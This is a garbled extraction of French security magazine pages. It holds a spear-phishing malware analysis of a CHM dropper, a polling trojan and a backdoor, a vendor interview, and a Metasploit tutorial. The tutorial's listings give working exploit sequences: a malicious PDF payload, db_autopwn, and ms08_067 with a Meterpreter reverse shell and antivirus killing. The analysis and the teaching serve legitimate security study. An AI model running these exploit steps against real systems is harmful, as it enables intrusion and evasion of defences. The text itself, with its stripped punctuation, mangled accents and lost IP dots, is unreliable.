La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

